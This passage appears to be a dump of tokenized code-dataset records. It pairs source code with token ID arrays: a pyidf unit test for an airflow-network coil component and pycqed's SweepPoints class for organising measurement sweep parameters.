978,
2433,
4906,
1495,
13,
4706,
2643,
29889,
547,
353,
26494,
18680,
580,
13,
4706,
1653,
29918,
13556,
2147,
29889,
25140,
29918,
3859,
29918,
3018,
4937,
353,
26494,
18680,
580,
13,
13,
4706,
396,
746,
13,
4706,
1653,
29918,
13556,
2147,
29889,
265,
29918,
4906,
29898,
1311,
29889,
3258,
29918,
4906,
29918,
2587,
29892,
2643,
29897,
13,
13,
4706,
396,
769,
13,
4706,
11187,
29918,
735,
18505,
29889,
15843,
29889,
9294,
29918,
13998,
29918,
2541,
29898,
1491,
6737,
29918,
25118,
2433,
1491,
6737,
29899,
25118,
742,
1889,
29918,
25118,
2433,
1514,
29899,
25118,
1495,
13,
13,
4706,
1653,
29918,
13556,
2147,
29889,
25140,
29918,
3859,
29918,
3018,
4937,
29889,
9294,
29918,
13998,
29918,
2541,
29898,
3126,
29889,
18132,
29898,
1311,
29889,
3258,
29918,
4906,
29918,
2587,
876,
13,
13,
4706,
2643,
29889,
547,
29889,
9294,
29918,
13998,
29918,
10646,
580,
13,
13,
1678,
822,
1243,
29918,
3258,
29918,
29135,
29918,
13556,
2147,
29918,
265,
29918,
4906,
29918,
11739,
29898,
1311,
1125,
13,
4706,
396,
2183,
13,
4706,
11187,
29918,
735,
18505,
353,
26494,
18680,
580,
13,
4706,
11187,
29918,
735,
18505,
29889,
15843,
353,
26494,
18680,
580,
13,
13,
4706,
1873,
29918,
16394,
353,
12865,
29889,
12673,
29889,
710,
415,
603,
29898,
13,
9651,
376,
29906,
29900,
29896,
29947,
29899,
29900,
29941,
29899,
29906,
29953,
29911,
29896,
29946,
29901,
29906,
29955,
29901,
29945,
29941,
29889,
29941,
29953,
29900,
29999,
613,
11860,
29979,
19222,
29885,
19222,
29881,
29911,
29995,
29950,
16664,
29924,
16664,
29903,
29889,
29995,
29888,
29999,
1159,
13,
4706,
11846,
29918,
3259,
353,
1873,
29918,
16394,
29889,
710,
615,
603,
11702,
29979,
19222,
29885,
19222,
29881,
29911,
29995,
29950,
29995,
29924,
29995,
29903,
29889,
29995,
29888,
29999,
1159,
13,
13,
4706,
2643,
353,
26494,
18680,
29898,
978,
2433,
4906,
1495,
13,
4706,
2643,
29889,
547,
353,
26494,
18680,
580,
13,
4706,
1653,
29918,
13556,
2147,
353,
2315,
7004,
22068,
29898,
19095,
293,
18680,
3285,
26494,
18680,
3285,
13,
462,
462,
1669,
11187,
29918,
735,
18505,
29892,
13,
462,
462,
1669,
1583,
29889,
23679,
29918,
2917,
29897,
13,
13,
4706,
1653,
29918,
13556,
2147,
29889,
25140,
29918,
3859,
29918,
3018,
4937,
353,
26494,
18680,
580,
13,
13,
4706,
396,
746,
13,
4706,
11187,
29918,
735,
18505,
29889,
15843,
29889,
2975,
29918,
15987,
353,
8960,
877,
348,
3179,
839,
3682,
1495,
13,
13,
4706,
1653,
29918,
13556,
2147,
29889,
265,
29918,
4906,
29898,
1311,
29889,
3258,
29918,
4906,
29918,
2587,
29892,
2643,
29897,
13,
13,
4706,
396,
769,
13,
4706,
11187,
29918,
735,
18505,
29889,
15843,
29889,
9294,
29918,
13998,
29918,
2541,
29898,
1491,
6737,
29918,
25118,
2433,
1491,
6737,
29899,
25118,
742,
1889,
29918,
25118,
2433,
1514,
29899,
25118,
1495,
13,
4706,
2643,
29889,
547,
29889,
9294,
29918,
13998,
29918,
10646,
580,
13,
4706,
1653,
29918,
13556,
2147,
29889,
25140,
29918,
3859,
29918,
3018,
4937,
29889,
9294,
29918,
1333,
29918,
13998,
580,
13,
2
] |
tests/test_airflownetworkdistributioncomponentcoil.py | marcelosalles/pyidf | 19 | 99621 | <gh_stars>10-100
import os
import tempfile
import unittest
import logging
from pyidf import ValidationLevel
import pyidf
from pyidf.idf import IDF
from pyidf.natural_ventilation_and_duct_leakage import AirflowNetworkDistributionComponentCoil
log = logging.getLogger(__name__)
class TestAirflowNetworkDistributionComponentCoil(unittest.TestCase):
def setUp(self):
self.fd, self.path = tempfile.mkstemp()
def tearDown(self):
os.remove(self.path)
def test_create_airflownetworkdistributioncomponentcoil(self):
pyidf.validation_level = ValidationLevel.error
obj = AirflowNetworkDistributionComponentCoil()
# object-list
var_coil_name = "object-list|Coil Name"
obj.coil_name = var_coil_name
# alpha
var_coil_object_type = "Coil:Cooling:DX:SingleSpeed"
obj.coil_object_type = var_coil_object_type
# real
var_air_path_length = 0.0001
obj.air_path_length = var_air_path_length
# real
var_air_path_hydraulic_diameter = 0.0001
obj.air_path_hydraulic_diameter = var_air_path_hydraulic_diameter
idf = IDF()
idf.add(obj)
idf.save(self.path, check=False)
with open(self.path, mode='r') as f:
for line in f:
log.debug(line.strip())
idf2 = IDF(self.path)
self.assertEqual(idf2.airflownetworkdistributioncomponentcoils[0].coil_name, var_coil_name)
self.assertEqual(idf2.airflownetworkdistributioncomponentcoils[0].coil_object_type, var_coil_object_type)
self.assertAlmostEqual(idf2.airflownetworkdistributioncomponentcoils[0].air_path_length, var_air_path_length)
self.assertAlmostEqual(idf2.airflownetworkdistributioncomponentcoils[0].air_path_hydraulic_diameter, var_air_path_hydraulic_diameter) | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
5215,
2897,
13,
5215,
5694,
1445,
13,
5215,
443,
27958,
13,
5215,
12183,
13,
3166,
11451,
333,
29888,
1053,
15758,
362,
10108,
13,
5215,
11451,
333,
29888,
13,
3166,
11451,
333,
29888,
29889,
333,
29888,
1053,
3553,
29943,
13,
3166,
11451,
333,
29888,
29889,
25047,
29918,
794,
8634,
29918,
392,
29918,
2199,
29918,
280,
557,
482,
1053,
5593,
1731,
13724,
13398,
3224,
5308,
7967,
309,
13,
13,
1188,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
13,
1990,
4321,
29909,
381,
1731,
13724,
13398,
3224,
5308,
7967,
309,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
11512,
29892,
1583,
29889,
2084,
353,
5694,
1445,
29889,
11256,
303,
3451,
580,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
2897,
29889,
5992,
29898,
1311,
29889,
2084,
29897,
13,
13,
1678,
822,
1243,
29918,
3258,
29918,
1466,
1731,
11618,
27691,
9700,
1111,
309,
29898,
1311,
1125,
13,
13,
4706,
11451,
333,
29888,
29889,
18157,
29918,
5563,
353,
15758,
362,
10108,
29889,
2704,
13,
13,
4706,
5446,
353,
5593,
1731,
13724,
13398,
3224,
5308,
7967,
309,
580,
13,
4706,
396,
1203,
29899,
1761,
13,
4706,
722,
29918,
1111,
309,
29918,
978,
353,
376,
3318,
29899,
1761,
29989,
7967,
309,
4408,
29908,
13,
4706,
5446,
29889,
1111,
309,
29918,
978,
353,
722,
29918,
1111,
309,
29918,
978,
13,
4706,
396,
15595,
13,
4706,
722,
29918,
1111,
309,
29918,
3318,
29918,
1853,
353,
376,
7967,
309,
29901,
29907,
1507,
292,
29901,
29928,
29990,
29901,
15771,
26539,
29908,
13,
4706,
5446,
29889,
1111,
309,
29918,
3318,
29918,
1853,
353,
722,
29918,
1111,
309,
29918,
3318,
29918,
1853,
13,
4706,
396,
1855,
13,
4706,
722,
29918,
1466,
29918,
2084,
29918,
2848,
353,
29871,
29900,
29889,
29900,
29900,
29900,
29896,
13,
4706,
5446,
29889,
1466,
29918,
2084,
29918,
2848,
353,
722,
29918,
1466,
29918,
2084,
29918,
2848,
13,
4706,
396,
1855,
13,
4706,
722,
29918,
1466,
29918,
2084,
29918,
29882,
2941,
336,
352,
293,
29918,
29881,
2829,
1308,
353,
29871,
29900,
29889,
29900,
29900,
29900,
29896,
13,
4706,
5446,
29889,
1466,
29918,
2084,
29918,
29882,
2941,
336,
352,
293,
29918,
29881,
2829,
1308,
353,
722,
29918,
1466,
29918,
2084,
29918,
29882,
2941,
336,
352,
293,
29918,
29881,
2829,
1308,
13,
13,
4706,
1178,
29888,
353,
3553,
29943,
580,
13,
4706,
1178,
29888,
29889,
1202,
29898,
5415,
29897,
13,
4706,
1178,
29888,
29889,
7620,
29898,
1311,
29889,
2084,
29892,
1423,
29922,
8824,
29897,
13,
13,
4706,
411,
1722,
29898,
1311,
29889,
2084,
29892,
4464,
2433,
29878,
1495,
408,
285,
29901,
13,
9651,
363,
1196,
297,
285,
29901,
13,
18884,
1480,
29889,
8382,
29898,
1220,
29889,
17010,
3101,
13,
13,
4706,
1178,
29888,
29906,
353,
3553,
29943,
29898,
1311,
29889,
2084,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
333,
29888,
29906,
29889,
1466,
1731,
11618,
27691,
9700,
1111,
2719,
29961,
29900,
1822,
1111,
309,
29918,
978,
29892,
722,
29918,
1111,
309,
29918,
978,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
333,
29888,
29906,
29889,
1466,
1731,
11618,
27691,
9700,
1111,
2719,
29961,
29900,
1822,
1111,
309,
29918,
3318,
29918,
1853,
29892,
722,
29918,
1111,
309,
29918,
3318,
29918,
1853,
29897,
13,
4706,
1583,
29889,
9294,
2499,
3242,
9843,
29898,
333,
29888,
29906,
29889,
1466,
1731,
11618,
27691,
9700,
1111,
2719,
29961,
29900,
1822,
1466,
29918,
2084,
29918,
2848,
29892,
722,
29918,
1466,
29918,
2084,
29918,
2848,
29897,
13,
4706,
1583,
29889,
9294,
2499,
3242,
9843,
29898,
333,
29888,
29906,
29889,
1466,
1731,
11618,
27691,
9700,
1111,
2719,
29961,
29900,
1822,
1466,
29918,
2084,
29918,
29882,
2941,
336,
352,
293,
29918,
29881,
2829,
1308,
29892,
722,
29918,
1466,
29918,
2084,
29918,
29882,
2941,
336,
352,
293,
29918,
29881,
2829,
1308,
29897,
2
] |
pycqed/measurement/sweep_points.py | nnlacroix/PycQED_py3 | 0 | 199200 | <gh_stars>0
import logging
log = logging.getLogger(__name__)
from collections import OrderedDict
from copy import deepcopy
import numpy as np
from numpy import array # Needed for eval. Do not remove.
class SweepPoints(list):
"""
This class is used to create sweep points for any measurement.
The SweepPoints object is a list of dictionaries of the form:
[
# 1st sweep dimension
{param_name0: (values, unit, label),
param_name1: (values, unit, label),
...
param_nameN: (values, unit, label)},
# 2nd sweep dimension
{param_name0: (values, unit, label),
param_name1: (values, unit, label),
...
param_nameN: (values, unit, label)},
.
.
.
# D-th sweep dimension
{param_name0: (values, unit, label),
param_name1: (values, unit, label),
...
param_nameN: (values, unit, label)},
]
Example how to use this class to create a 2D sweep for 3 qubits, where
the first (hard) sweep is over amplitudes and the :
sp = SweepPoints()
for qb in ['qb1', 'qb2', 'qb3']:
sp.add_sweep_parameter(f'lengths_{qb}', np.linspace(10e-9, 1e-6, 80),
's', 'Pulse length, $L$')
sp.add_sweep_dimension()
for qb in ['qb1', 'qb2', 'qb3']:
sp.add_sweep_parameter(f'amps_{qb}', np.linspace(0, 1, 20),
'V', 'Pulse amplitude, $A$')
"""
def __init__(self, param=None, values=None, unit='', label=None,
dimension=-1, min_length=0):
"""
Create a SweepPoints instance.
:param param: list of dicts, repr of SweepPoints instance, or name of
a sweep parameter
:param values: list or array of numeric values of the sweep parameter
specified by param
:param unit: string specifying the unit of the sweep parameter
specified by param
:param label: str specifying the (latex style) label/name of the sweep
parameter specified by param
:param dimension: sweep dimension where sweep parameter param should be
added
:param min_length: minimum number of sweep dimensions to create
"""
super().__init__()
if isinstance(param, list):
self.add_dict_list(param)
elif isinstance(param, str):
if values is not None:
self.add_sweep_parameter(param, values, unit, label,
dimension)
else:
self.add_dict_list(eval(param))
while len(self) < min_length:
self.add_sweep_dimension()
def __getitem__(self, i):
"""
Overloading of List.__getitem__ to ensure type SweepPoints is preserved.
:param i: element or slice
:return: element or new SweepPoints instance
"""
if isinstance(i, str):
new_data = self.get_sweep_params_property('values', 'all', i)
else:
new_data = super().__getitem__(i)
if isinstance(i, slice):
new_data = self.__class__(new_data)
return new_data
def add_dict_list(self, dict_list):
"""
Append the dicts in dict_list to self.
:param dict_list: list of dictionaries in the format of this class, or
in the legacy format {param_name: {'values': ...,
'unit': ...,
'label': ...}}
"""
for d in deepcopy(dict_list):
if len(d) == 0 or isinstance(list(d.values())[0], tuple):
# assume that dicts have the same format as this class
self.append(d)
else:
# import from a list of sweep dicts in the old format
self.append({k: (v['values'],
v.get('unit', ''),
v.get('label', k))
for k, v in d.items()})
def add_sweep_parameter(self, param_name, values, unit='', label=None,
dimension=-1):
"""
Adds sweep points to a given dimension.
:param param_name: (str) parameter name
:param values: (list or numpy array) sweep values
:param unit: (optional str) unit of the values (default: '')
:param label: (optional str) label e.g. for plots (default: param_name)
:dim: the dimension to which the point should be added (default:
last dimension)
"""
if label is None:
label = param_name
assert self.find_parameter(param_name) is None, \
f'A sweep parameter with name "{param_name}" already exists.'
while len(self) == 0 or (dimension >= 0 and dimension >= len(self)):
self.add_sweep_dimension()
assert self.length(dimension) in [0, len(values)], \
'Number of values has to match the length of existing sweep ' \
'points.'
self[dimension].update({param_name: (values, unit, label)})
def add_sweep_dimension(self):
self.append(dict())
def get_sweep_dimension(self, dimension='all', pop=False):
"""
Returns the sweep dict of the sweep dimension specified by dimension.
:param dimension: int specifying a sweep dimension or
the string 'all'
:param pop: bool specifying whether to pop (True) or get(False) the
sweep dimension.
:return: self if dimension == 'all', else self[dimension]
"""
if dimension == 'all':
if pop:
to_return = deepcopy(self)
self.clear()
return to_return
else:
return self
else:
if len(self) < dimension:
raise ValueError(f'Dimension {dimension} not found.')
to_return = self[dimension]
if pop:
self[dimension] = {}
return to_return
def get_sweep_params_description(self, param_names, dimension='all',
pop=False):
"""
Get the sweep tuples for the sweep parameters param_names if they are
found in the sweep dimension dict specified by dimension.
:param param_names: string or list of strings corresponding to keys in
the dictionaries in self. Can also be 'all'
:param dimension: 'all' or int specifying a sweep dimension
:param pop: bool specifying whether to pop (True) or get(False) the
sweep parameters.
:return:
If the param_names are found in self or self[dimension]:
if param_names == 'all': list with all the sweep tuples
in the sweep dimension dict specified by dimension.
if param_names is string: string with the sweep tuples of each
param_names in the sweep dimension dict specified by dimension.
if param_names is list: list with the sweep tuples of each
param_names in the sweep dimension dict specified by dimension.
if param_names is None: string corresponding to the
first sweep parameter in the sweep dimension dict
If none of param_names are found, raises KeyError.
"""
sweep_points_dim = self.get_sweep_dimension(
dimension, pop=pop and param_names == 'all')
is_list = True
if param_names != 'all' and not isinstance(param_names, list):
param_names = [param_names]
is_list = False
sweep_param_values = []
if isinstance(sweep_points_dim, list):
for sweep_dim_dict in sweep_points_dim:
if param_names == 'all':
sweep_param_values += list(sweep_dim_dict.values())
else:
for pn in param_names:
if pn in sweep_dim_dict:
sweep_param_values += [sweep_dim_dict.pop(pn) if pop
else sweep_dim_dict[pn]]
else: # it is a dict
if param_names == 'all':
sweep_param_values += list(sweep_points_dim.values())
else:
for pn in param_names:
if pn in sweep_points_dim:
sweep_param_values += [sweep_points_dim.pop(pn) if pop
else sweep_points_dim[pn]]
if len(sweep_param_values) == 0:
s = "sweep points" if dimension == "all" else f'sweep dimension ' \
f'{dimension}'
raise KeyError(f'{param_names} not found in {s}.')
if is_list:
return sweep_param_values
else:
return sweep_param_values[0]
def get_sweep_params_property(self, property, dimension='all',
param_names=None):
"""
Get a property of the sweep parameters param_names in self.
:param property: str with the name of a sweep param property. Can be
"values", "unit", "label."
:param dimension: 'all' or int specifying a sweep dimension
(default 'all')
:param param_names: None, or string or list of strings corresponding to
keys in the sweep dimension specified by dimension.
Can also be 'all'
:return:
if param_names == 'all': list with the property of all
param_names in the sweep dimension dict specified by dimension.
if param_names is string: the property of the sweep parameter
specified in param_names in the sweep dimension dict specified
by dimension.
if param_names is list: list with the property of each
param_names in the sweep dimension dict specified by dimension.
if param_names is None: property corresponding to the
first sweep parameter in the sweep dimension dict
"""
properties_dict = {'values': 0, 'unit': 1, 'label': 2}
sweep_points_dim = self.get_sweep_dimension(dimension)
if param_names is None:
if isinstance(sweep_points_dim, list):
for sweep_dim_dict in sweep_points_dim:
if len(sweep_dim_dict) == 0:
return [] if property == 'values' else ''
else:
return next(iter(sweep_dim_dict.values()))[
properties_dict[property]]
else:
if len(sweep_points_dim) == 0:
return [] if property == 'values' else ''
else:
return next(iter(sweep_points_dim.values()))[
properties_dict[property]]
elif param_names == 'all' or isinstance(param_names, list):
return [pnd[properties_dict[property]] for pnd in
self.get_sweep_params_description(param_names,
dimension)]
else:
return self.get_sweep_params_description(
param_names, dimension)[properties_dict[property]]
def get_meas_obj_sweep_points_map(self, measurement_objects):
"""
Constructs the measurement-objects-sweep-points map as the dict
{mobj_name: [sweep_param_name_0, ..., sweep_param_name_n]}
If a sweep dimension has only one sweep parameter name (dict with only
one key), then it assumes all mobjs use that sweep parameter name.
If the sweep dimension has more than one sweep parameter name (dict with
several keys), then:
- first tries to add to the list for each mobj only those sweep
param names that contain the mobj_name.
- If it can't find the mobj_name in the sweep param name, assumes
there is only one param per mobj in each sweep dimension, and that
the order of params in each sweep dimension corresponds to the
order of keys in keys_list.
I.e. key_i in sweep_points[0] contains the sweep information for
measured_objects[i].
:param measured_objects: list of strings to be used as keys in the
returned dictionary. These are the measured object names
:return: dict of the form
{mobj_name: [sweep_param_name_0, ..., sweep_param_name_n]}
"""
if not isinstance(measurement_objects, list):
measurement_objects = [measurement_objects]
for i, mobj in enumerate(measurement_objects):
if hasattr(mobj, 'name'):
measurement_objects[i] = mobj.name
sweep_points_map = OrderedDict()
for i, mobjn in enumerate(measurement_objects):
sweep_points_map[mobjn] = []
for dim, d in enumerate(self):
if len(d) == 1:
# assume all mobjs use the same param_name
sweep_points_map[mobjn] += [next(iter(d))]
elif mobjn in list(d)[i]:
sweep_points_map[mobjn] += [list(d)[i]]
else:
if len(d) != len(measurement_objects):
raise ValueError(
f'{len(measurement_objects)} measurement objects '
f'were given but there are {len(d)} '
f'sweep parameters in dimension {dim}.')
sweep_points_map[mobjn] += [list(d)[i]]
return sweep_points_map
def length(self, dimension='all'):
"""
Returns the number of sweep points in a given sweep dimension (after a
sanity checking).
:param dimension: ('all' or int) sweep dimension (default: 'all').
:return: (int) number of sweep points in the given dimension
"""
if dimension == 'all':
return [self.length(d) for d in range(len(self))]
if len(self) == 0 or (dimension >= 0 and dimension >= len(self)):
return 0
n = 0
for p in self[dimension].values():
if n == 0:
n = len(p[0])
elif n != len(p[0]):
raise ValueError('The lengths of the sweep points are not '
'consistent.')
return n
def update(self, sweep_points):
"""
Updates the sweep dictionaries of all dimensions with the sweep
dictionaries passed as sweep_points. Non-exisiting
parameters and required additional dimensions are added if needed.
:param sweep_points: (SweepPoints) a SweepPoints object containing
the sweep points to be updated.
:return:
"""
while len(self) < len(sweep_points):
self.add_sweep_dimension()
for d, u in zip(self, sweep_points):
d.update(u)
def find_parameter(self, param_name):
"""
Returns the index of the first dimension in which a given sweep
parameter is found.
:param param_name: (str) name of the sweep parameter
:return: (int or None) the index of the first dimension in which the
parameter if found or None if no parameter with the given name
exists.
"""
for dim in range(len(self)):
if param_name in self[dim]:
return dim
return None
def subset(self, i, dimension=0):
"""
Returns a new SweepPoints object with one of the dimensions reduced
to a subset of the sweep values. The other dimensions are unchanged.
:param i: (list) indices of the sweep values that should be
contained in the subset.
:param dimension: (int, default 0) index of the dimension that
should be reduced
"""
sp = SweepPoints(self)
for k, v in sp[dimension].items():
sp[dimension][k] = (np.array(v[0])[i], v[1], v[2])
return sp
def remove_sweep_parameter(self, param_name):
"""
Removes a the sweep parameter with a given name from the SweepPoints
object. If the parameter is not found, a warning is issued.
:param param_name: (str) name of the sweep parameter to remove
"""
dim = self.find_parameter(param_name)
if dim is None:
log.warning(f"remove_sweep_parameter: Sweep parameter "
f"{param_name} not found.")
else:
del self[dim][param_name]
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
12183,
13,
1188,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
3166,
16250,
1053,
8170,
287,
21533,
13,
3166,
3509,
1053,
6483,
8552,
13,
5215,
12655,
408,
7442,
13,
3166,
12655,
1053,
1409,
29871,
396,
2448,
19226,
363,
19745,
29889,
1938,
451,
3349,
29889,
13,
13,
1990,
317,
705,
1022,
20325,
29898,
1761,
1125,
13,
1678,
9995,
13,
1678,
910,
770,
338,
1304,
304,
1653,
7901,
1022,
3291,
363,
738,
20039,
29889,
13,
1678,
450,
317,
705,
1022,
20325,
1203,
338,
263,
1051,
310,
21503,
4314,
310,
278,
883,
29901,
13,
4706,
518,
13,
9651,
396,
29871,
29896,
303,
7901,
1022,
9927,
13,
9651,
426,
3207,
29918,
978,
29900,
29901,
313,
5975,
29892,
5190,
29892,
3858,
511,
13,
632,
1828,
29918,
978,
29896,
29901,
313,
5975,
29892,
5190,
29892,
3858,
511,
13,
9651,
2023,
13,
632,
1828,
29918,
978,
29940,
29901,
313,
5975,
29892,
5190,
29892,
3858,
19230,
13,
13,
9651,
396,
29871,
29906,
299,
7901,
1022,
9927,
13,
9651,
426,
3207,
29918,
978,
29900,
29901,
313,
5975,
29892,
5190,
29892,
3858,
511,
13,
632,
1828,
29918,
978,
29896,
29901,
313,
5975,
29892,
5190,
29892,
3858,
511,
13,
9651,
2023,
13,
632,
1828,
29918,
978,
29940,
29901,
313,
5975,
29892,
5190,
29892,
3858,
19230,
13,
13,
632,
869,
13,
632,
869,
13,
632,
869,
13,
13,
9651,
396,
360,
29899,
386,
7901,
1022,
9927,
13,
9651,
426,
3207,
29918,
978,
29900,
29901,
313,
5975,
29892,
5190,
29892,
3858,
511,
13,
632,
1828,
29918,
978,
29896,
29901,
313,
5975,
29892,
5190,
29892,
3858,
511,
13,
9651,
2023,
13,
632,
1828,
29918,
978,
29940,
29901,
313,
5975,
29892,
5190,
29892,
3858,
19230,
13,
4706,
4514,
13,
13,
1678,
8741,
920,
304,
671,
445,
770,
304,
1653,
263,
29871,
29906,
29928,
7901,
1022,
363,
29871,
29941,
439,
14836,
29892,
988,
13,
1678,
278,
937,
313,
6800,
29897,
7901,
1022,
338,
975,
22252,
8192,
322,
278,
584,
13,
13,
1678,
805,
353,
317,
705,
1022,
20325,
580,
13,
1678,
363,
3855,
29890,
297,
6024,
29939,
29890,
29896,
742,
525,
29939,
29890,
29906,
742,
525,
29939,
29890,
29941,
2033,
29901,
13,
4706,
805,
29889,
1202,
29918,
29879,
705,
1022,
29918,
15501,
29898,
29888,
29915,
2848,
29879,
648,
29939,
29890,
29913,
742,
7442,
29889,
1915,
3493,
29898,
29896,
29900,
29872,
29899,
29929,
29892,
29871,
29896,
29872,
29899,
29953,
29892,
29871,
29947,
29900,
511,
13,
4706,
525,
29879,
742,
525,
29925,
19994,
3309,
29892,
395,
29931,
29938,
1495,
13,
1678,
805,
29889,
1202,
29918,
29879,
705,
1022,
29918,
6229,
2673,
580,
13,
1678,
363,
3855,
29890,
297,
6024,
29939,
29890,
29896,
742,
525,
29939,
29890,
29906,
742,
525,
29939,
29890,
29941,
2033,
29901,
13,
4706,
805,
29889,
1202,
29918,
29879,
705,
1022,
29918,
15501,
29898,
29888,
29915,
15092,
648,
29939,
29890,
29913,
742,
7442,
29889,
1915,
3493,
29898,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29900,
511,
13,
4706,
525,
29963,
742,
525,
29925,
19994,
28347,
29892,
395,
29909,
29938,
1495,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1828,
29922,
8516,
29892,
1819,
29922,
8516,
29892,
5190,
2433,
742,
3858,
29922,
8516,
29892,
13,
462,
9927,
10457,
29896,
29892,
1375,
29918,
2848,
29922,
29900,
1125,
13,
4706,
9995,
13,
4706,
6204,
263,
317,
705,
1022,
20325,
2777,
29889,
13,
4706,
584,
3207,
1828,
29901,
1051,
310,
9657,
29879,
29892,
2062,
310,
317,
705,
1022,
20325,
2777,
29892,
470,
1024,
310,
13,
9651,
263,
7901,
1022,
3443,
13,
4706,
584,
3207,
1819,
29901,
1051,
470,
1409,
310,
16985,
1819,
310,
278,
7901,
1022,
3443,
13,
9651,
6790,
491,
1828,
13,
4706,
584,
3207,
5190,
29901,
1347,
22146,
278,
5190,
310,
278,
7901,
1022,
3443,
13,
9651,
6790,
491,
1828,
13,
4706,
584,
3207,
3858,
29901,
851,
22146,
278,
313,
25694,
3114,
29897,
3858,
29914,
978,
310,
278,
7901,
1022,
13,
9651,
3443,
6790,
491,
1828,
13,
4706,
584,
3207,
9927,
29901,
7901,
1022,
9927,
988,
7901,
1022,
3443,
1828,
881,
367,
13,
9651,
2715,
13,
4706,
584,
3207,
1375,
29918,
2848,
29901,
9212,
1353,
310,
7901,
1022,
13391,
304,
1653,
13,
4706,
9995,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
4706,
565,
338,
8758,
29898,
3207,
29892,
1051,
1125,
13,
9651,
1583,
29889,
1202,
29918,
8977,
29918,
1761,
29898,
3207,
29897,
13,
4706,
25342,
338,
8758,
29898,
3207,
29892,
851,
1125,
13,
9651,
565,
1819,
338,
451,
6213,
29901,
13,
18884,
1583,
29889,
1202,
29918,
29879,
705,
1022,
29918,
15501,
29898,
3207,
29892,
1819,
29892,
5190,
29892,
3858,
29892,
13,
462,
462,
308,
9927,
29897,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
1202,
29918,
8977,
29918,
1761,
29898,
14513,
29898,
3207,
876,
13,
13,
4706,
1550,
7431,
29898,
1311,
29897,
529,
1375,
29918,
2848,
29901,
13,
9651,
1583,
29889,
1202,
29918,
29879,
705,
1022,
29918,
6229,
2673,
580,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
474,
1125,
13,
4706,
9995,
13,
4706,
6811,
13234,
310,
2391,
17255,
657,
667,
1649,
304,
9801,
1134,
317,
705,
1022,
20325,
338,
21634,
29889,
13,
4706,
584,
3207,
474,
29901,
1543,
470,
22780,
13,
4706,
584,
2457,
29901,
1543,
470,
716,
317,
705,
1022,
20325,
2777,
13,
4706,
9995,
13,
4706,
565,
338,
8758,
29898,
29875,
29892,
851,
1125,
13,
9651,
716,
29918,
1272,
353,
1583,
29889,
657,
29918,
29879,
705,
1022,
29918,
7529,
29918,
6799,
877,
5975,
742,
525,
497,
742,
474,
29897,
13,
4706,
1683,
29901,
13,
9651,
716,
29918,
1272,
353,
2428,
2141,
1649,
657,
667,
12035,
29875,
29897,
13,
9651,
565,
338,
8758,
29898,
29875,
29892,
22780,
1125,
13,
18884,
716,
29918,
1272,
353,
1583,
17255,
1990,
12035,
1482,
29918,
1272,
29897,
13,
4706,
736,
716,
29918,
1272,
13,
13,
1678,
822,
788,
29918,
8977,
29918,
1761,
29898,
1311,
29892,
9657,
29918,
1761,
1125,
13,
4706,
9995,
13,
4706,
22871,
278,
9657,
29879,
297,
9657,
29918,
1761,
304,
1583,
29889,
13,
4706,
584,
3207,
9657,
29918,
1761,
29901,
1051,
310,
21503,
4314,
297,
278,
3402,
310,
445,
770,
29892,
470,
13,
9651,
297,
278,
25000,
3402,
426,
3207,
29918,
978,
29901,
11117,
5975,
2396,
2023,
29892,
13,
462,
462,
1669,
525,
5441,
2396,
2023,
29892,
13,
462,
462,
1669,
525,
1643,
2396,
2023,
930,
13,
4706,
9995,
13,
4706,
363,
270,
297,
6483,
8552,
29898,
8977,
29918,
1761,
1125,
13,
9651,
565,
7431,
29898,
29881,
29897,
1275,
29871,
29900,
470,
338,
8758,
29898,
1761,
29898,
29881,
29889,
5975,
3101,
29961,
29900,
1402,
18761,
1125,
13,
18884,
396,
5251,
393,
9657,
29879,
505,
278,
1021,
3402,
408,
445,
770,
13,
18884,
1583,
29889,
4397,
29898,
29881,
29897,
13,
9651,
1683,
29901,
13,
18884,
396,
1053,
515,
263,
1051,
310,
7901,
1022,
9657,
29879,
297,
278,
2030,
3402,
13,
18884,
1583,
29889,
4397,
3319,
29895,
29901,
313,
29894,
1839,
5975,
7464,
13,
462,
462,
325,
29889,
657,
877,
5441,
742,
525,
5477,
13,
462,
462,
325,
29889,
657,
877,
1643,
742,
413,
876,
13,
462,
632,
363,
413,
29892,
325,
297,
270,
29889,
7076,
580,
1800,
13,
13,
1678,
822,
788,
29918,
29879,
705,
1022,
29918,
15501,
29898,
1311,
29892,
1828,
29918,
978,
29892,
1819,
29892,
5190,
2433,
742,
3858,
29922,
8516,
29892,
13,
462,
9651,
9927,
10457,
29896,
1125,
13,
4706,
9995,
13,
4706,
3462,
29879,
7901,
1022,
3291,
304,
263,
2183,
9927,
29889,
13,
4706,
584,
3207,
1828,
29918,
978,
29901,
313,
710,
29897,
3443,
1024,
13,
4706,
584,
3207,
1819,
29901,
313,
1761,
470,
12655,
1409,
29897,
7901,
1022,
1819,
13,
4706,
584,
3207,
5190,
29901,
313,
25253,
851,
29897,
5190,
310,
278,
1819,
313,
4381,
29901,
27255,
13,
4706,
584,
3207,
3858,
29901,
313,
25253,
851,
29897,
3858,
321,
29889,
29887,
29889,
363,
24580,
313,
4381,
29901,
1828,
29918,
978,
29897,
13,
4706,
584,
6229,
29901,
278,
9927,
304,
607,
278,
1298,
881,
367,
2715,
313,
4381,
29901,
13,
9651,
1833,
9927,
29897,
13,
4706,
9995,
13,
4706,
565,
3858,
338,
6213,
29901,
13,
9651,
3858,
353,
1828,
29918,
978,
13,
4706,
4974,
1583,
29889,
2886,
29918,
15501,
29898,
3207,
29918,
978,
29897,
338,
6213,
29892,
320,
13,
9651,
285,
29915,
29909,
7901,
1022,
3443,
411,
1024,
29850,
3207,
29918,
978,
5038,
2307,
4864,
6169,
13,
4706,
1550,
7431,
29898,
1311,
29897,
1275,
29871,
29900,
470,
313,
6229,
2673,
6736,
29871,
29900,
